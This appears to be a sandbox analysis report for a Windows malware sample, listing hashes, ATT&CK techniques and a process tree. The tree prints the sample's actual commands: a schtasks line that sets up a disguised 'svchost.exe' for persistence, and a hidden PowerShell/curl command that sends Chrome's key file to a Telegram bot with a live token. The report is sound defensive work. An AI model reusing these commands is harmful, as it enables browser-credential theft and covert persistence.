5088824693715de67685f44071b97c11adf98f2da5e1ef8bc5e517b7d05013aa

Analysis

max time kernel
149s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/04/2026, 19:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-24_b73533bd6040f6ef103be3ea5be0a872_cobalt-strike_icedid_satacom_stealc.exe
Size 809KB
Sample260424-yjbfpsbs3m
SHA256 5088824693715de67685f44071b97c11adf98f2da5e1ef8bc5e517b7d05013aa
MD5 b73533bd6040f6ef103be3ea5be0a872
SHA1 d1841ca5d139086629cb75c32c62bc29fe0bea5d
SHA512 b81ba499e8230b4f7e542fe6d151a617cd5a52921719a78893b98acab1772e0fb1e3b8131456f688fe9db2eb213b6143dc1e5167752d88994610795be9cb7635
SSDEEP 12288:6b/TLd+fzZ3WCzFDmhFFwK1lxf4i5mQB7ZHa23BBhlAVPhdB8QMMdi:2d+fRWCkhb9zmGR3H0VPhdq1
TLSH
T18205DF01A66808F9E92A8DFD89623745DE62FC030760D9CB13636DA67E235909FFD713
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4704	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3220	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4588	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4704	powershell.exe
4704	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4704	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4592 wrote to memory of 4588	4592	2026-04-24_b73533bd6040f6ef103be3ea5be0a872_cobalt-strike_icedid_satacom_stealc.exe	84
PID 4592 wrote to memory of 4704	4592	2026-04-24_b73533bd6040f6ef103be3ea5be0a872_cobalt-strike_icedid_satacom_stealc.exe	85
PID 4704 wrote to memory of 4824	4704	powershell.exe	88

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-04-24_b73533bd6040f6ef103be3ea5be0a872_cobalt-strike_icedid_satacom_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-24_b73533bd6040f6ef103be3ea5be0a872_cobalt-strike_icedid_satacom_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4592
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /create /f /tn "WinServiceUpdate" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemServices\svchost.exe" /sc onlogon /rl highest
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -W Hidden -C "curl.exe -F chat_id=7159337795 -F document=@'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State' -F caption='B_Key' https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4704
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -F chat_id=7159337795 -F "document=@C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State" -F caption=B_Key https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument
    3⤵
    PID:4824

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemServices\svchost.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemServices\svchost.exe
1⤵
- Executes dropped EXE
PID:3220

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_qpzanab3.huy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qpzanab3.huy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

svchost.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemServices\svchost.exe
Size 809KB
SHA256 5088824693715de67685f44071b97c11adf98f2da5e1ef8bc5e517b7d05013aa
MD5 b73533bd6040f6ef103be3ea5be0a872
SHA1 d1841ca5d139086629cb75c32c62bc29fe0bea5d
SHA512 b81ba499e8230b4f7e542fe6d151a617cd5a52921719a78893b98acab1772e0fb1e3b8131456f688fe9db2eb213b6143dc1e5167752d88994610795be9cb7635
SSDEEP 12288:6b/TLd+fzZ3WCzFDmhFFwK1lxf4i5mQB7ZHa23BBhlAVPhdB8QMMdi:2d+fRWCkhb9zmGR3H0VPhdq1
TLSH
T18205DF01A66808F9E92A8DFD89623745DE62FC030760D9CB13636DA67E235909FFD713
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3220-14-0x000001E72B200000-0x000001E72B93F000-memory.dmp

Download

memory/4592-18-0x0000022C43130000-0x0000022C4386F000-memory.dmp

Download

memory/4704-2-0x00000200603F0000-0x0000020060400000-memory.dmp

Download

memory/4704-3-0x00000200603F0000-0x0000020060400000-memory.dmp

Download

memory/4704-4-0x0000020060480000-0x00000200604A2000-memory.dmp

Download

memory/4704-17-0x00000200786B0000-0x0000020078DEF000-memory.dmp

Download